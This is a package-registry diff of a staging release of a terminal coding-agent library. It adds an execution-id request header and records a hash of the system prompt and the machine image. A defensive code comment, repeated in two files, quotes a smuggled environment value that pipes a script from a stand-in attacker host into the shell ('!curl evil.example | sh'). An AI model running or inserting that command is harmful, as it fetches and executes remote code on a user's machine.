@yagni-app/code-staging 1.2.14-staging.2370.1 → 1.2.14-staging.2372.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -151,7 +151,7 @@ export interface ContextBrief {
151
151
  * (`resolveHeadersOrThrow` in pi's `resolve-config-value.ts`): a value
152
152
  * starting with `!` is executed as a shell command, and a `$NAME` / `${NAME}`
153
153
  * reference is interpolated from env and THROWS the whole request if that env
154
- * var is unset. These four values ride straight from `process.env` — a stray
154
+ * var is unset. These values ride straight from `process.env` — a stray
155
155
  * `YAGNI_CALLER=$SOME_UNSET_VAR` would break every completion, and
156
156
  * `YAGNI_CALLER=!curl evil.example | sh` would execute it — so every value is
157
157
  * shape-checked against an allowlist BEFORE it goes anywhere near a header. A
@@ -114,7 +114,7 @@ const UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/
114
114
  * (`resolveHeadersOrThrow` in pi's `resolve-config-value.ts`): a value
115
115
  * starting with `!` is executed as a shell command, and a `$NAME` / `${NAME}`
116
116
  * reference is interpolated from env and THROWS the whole request if that env
117
- * var is unset. These four values ride straight from `process.env` — a stray
117
+ * var is unset. These values ride straight from `process.env` — a stray
118
118
  * `YAGNI_CALLER=$SOME_UNSET_VAR` would break every completion, and
119
119
  * `YAGNI_CALLER=!curl evil.example | sh` would execute it — so every value is
120
120
  * shape-checked against an allowlist BEFORE it goes anywhere near a header. A
@@ -140,6 +140,11 @@ export function attributionHeaders(env = process.env) {
140
140
  const runId = env.YAGNI_RUN_ID ?? "";
141
141
  if (UUID_RE.test(runId))
142
142
  headers["x-yagni-run-id"] = runId;
143
+ // The session lane's turn (`YAGNI_EXECUTION_ID`, `pipeline/sessionLane.ts`):
144
+ // the server resolves it against the run's own turns.
145
+ const executionId = env.YAGNI_EXECUTION_ID ?? "";
146
+ if (UUID_RE.test(executionId))
147
+ headers["x-yagni-execution-id"] = executionId;
143
148
  const caller = env.YAGNI_CALLER ?? "";
144
149
  headers["x-yagni-caller"] = CALLER_LABEL_RE.test(caller) ? caller : "driver";
145
150
  return headers;
@@ -122,6 +122,12 @@ export interface AttemptResult extends CloudIdentity {
122
122
  * host writes each into the plan as Wright's decision.
123
123
  */
124
124
  planChanges?: PlanChange[];
125
+ /**
126
+ * The sha256 of the system prompt the session lane's turn ran on, and the
127
+ * image the machine says it runs (`turnPromptFacts`, `sessionLane.ts`).
128
+ */
129
+ systemPromptSha256?: string;
130
+ imageRef?: string;
125
131
  /**
126
132
  * The pull request's description the session wrote (`pull-request.md`,
127
133
  * `sessionLane.ts`); absent when it wrote none. The host scrubs it and
@@ -315,4 +315,16 @@ export declare function heartbeatLine(pulse: TurnPulse, stage: StageId, at: numb
315
315
  * Never throws for the model's sake.
316
316
  */
317
317
  export declare function runSessionTurn(input: SessionTurnInput, deps?: SessionTurnDeps): Promise<SessionTurnOutcome>;
318
+ /** `result.json` written again; one that cannot be written says so in its own notes, which the stream carries. */
319
+ /** The env var the turn's execution id reaches the model calls by. */
320
+ export declare const EXECUTION_ID_ENV = "YAGNI_EXECUTION_ID";
321
+ /**
322
+ * What the turn ran on, for the host's record of it: the sha256 of the system
323
+ * prompt (the playbook installed as the session's skill) and the image the
324
+ * machine says it runs (`FLY_IMAGE_REF`, set by Fly; absent elsewhere).
325
+ */
326
+ export declare function turnPromptFacts(env: NodeJS.ProcessEnv): {
327
+ systemPromptSha256: string;
328
+ imageRef?: string;
329
+ };
318
330
  //# sourceMappingURL=sessionLane.d.ts.map
@@ -43,6 +43,7 @@
43
43
  * kept: the review loop and its round cap, the fixer, and the plan stage's
44
44
  * own clock.
45
45
  */
46
+ import { createHash } from "node:crypto";
46
47
  import { existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from "node:fs";
47
48
  import { homedir } from "node:os";
48
49
  import { isAbsolute, join, relative } from "node:path";
@@ -752,6 +753,10 @@ async function runTurn(input, deps, pulse) {
752
753
  env: {
753
754
  ...input.childEnv,
754
755
  [SESSION_INPUT_DIR_ENV]: input.inputDir,
756
+ // The turn every model call is for (`x-yagni-execution-id`, `config.ts`).
757
+ ...(EXECUTION_ID.test(input.identity.executionId)
758
+ ? { [EXECUTION_ID_ENV]: input.identity.executionId }
759
+ : {}),
755
760
  ...(inboxDir ? { [SESSION_INBOX_DIR_ENV]: inboxDir } : {}),
756
761
  ...(helpersDir ? { [HELPER_SESSIONS_DIR_ENV]: helpersDir } : {}),
757
762
  },
@@ -1000,17 +1005,20 @@ async function runTurn(input, deps, pulse) {
1000
1005
  }
1001
1006
  : {}),
1002
1007
  }, ran);
1003
- const noted = { ...done.attempt, notes: [...notes, ...done.attempt.notes] };
1008
+ const noted = {
1009
+ ...done.attempt,
1010
+ notes: [...notes, ...done.attempt.notes],
1011
+ ...turnPromptFacts(input.childEnv),
1012
+ };
1004
1013
  const attempt = writes
1005
1014
  ? withSessionAccount(noted, parseSessionReport(readOrNull(join(input.outDir, SESSION_REPORT_FILE_NAME)), knownBaselines(input.inputDir, readFile)), pullRequestTextOf(readOrNull(join(input.outDir, PULL_REQUEST_FILE_NAME))))
1006
1015
  : uiPreview
1007
1016
  ? { ...noted, uiPreview }
1008
1017
  : noted;
1009
- // The cloud lane's finish wrote `result.json`; it is written again when
1010
- // this turn adds to it (the model's account, the plan turn's put-back, how
1011
- // it left its UI preview).
1012
- if (writes || notes.length > 0 || uiPreview)
1013
- rewriteResult(input.outDir, attempt, writeFile);
1018
+ // The cloud lane's finish wrote `result.json`; it is written again with
1019
+ // what this turn adds to it (the model's account, the plan turn's put-back,
1020
+ // how it left its UI preview, the system prompt it ran on).
1021
+ rewriteResult(input.outDir, attempt, writeFile);
1014
1022
  input.emit({ type: "pipeline_result", ...attempt });
1015
1023
  const ok = writes ? done.ok && attempt.stopReason === "clean" : done.ok;
1016
1024
  return { ok, attempt };
@@ -1056,6 +1064,20 @@ function withSessionAccount(attempt, report, pullRequestText) {
1056
1064
  : folded;
1057
1065
  }
1058
1066
  /** `result.json` written again; one that cannot be written says so in its own notes, which the stream carries. */
1067
+ /** The env var the turn's execution id reaches the model calls by. */
1068
+ export const EXECUTION_ID_ENV = "YAGNI_EXECUTION_ID";
1069
+ /**
1070
+ * What the turn ran on, for the host's record of it: the sha256 of the system
1071
+ * prompt (the playbook installed as the session's skill) and the image the
1072
+ * machine says it runs (`FLY_IMAGE_REF`, set by Fly; absent elsewhere).
1073
+ */
1074
+ export function turnPromptFacts(env) {
1075
+ const image = env.FLY_IMAGE_REF?.trim();
1076
+ return {
1077
+ systemPromptSha256: createHash("sha256").update(WORK_A_TICKET_SKILL).digest("hex"),
1078
+ ...(image ? { imageRef: image } : {}),
1079
+ };
1080
+ }
1059
1081
  function rewriteResult(outDir, attempt, writeFile) {
1060
1082
  try {
1061
1083
  writeFile(join(outDir, RESULT_FILE_NAME), `${JSON.stringify(attempt, null, 2)}\n`);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@yagni-app/code-staging",
3
- "version": "1.2.14-staging.2370.1",
3
+ "version": "1.2.14-staging.2372.1",
4
4
  "description": "YAGNI Code: a terminal coding agent that already knows your company. One YAGNI login routes the model and grounds the agent in your team's context.",
5
5
  "license": "SEE LICENSE IN LICENSE.md",
6
6
  "author": "YAGNI, Inc. <jack@yagni.app> (https://yagni.app)",
@@ -58,5 +58,5 @@
58
58
  "turndown": "^7.2.4",
59
59
  "typebox": "^1.3.15"
60
60
  },
61
- "yagniSourceSha": "ec09dfa1062eed059f4d9d8591c480e21d7636c2"
61
+ "yagniSourceSha": "dce9a4d30894ab4199916b863542ab5d2e761fc5"
62
62
  }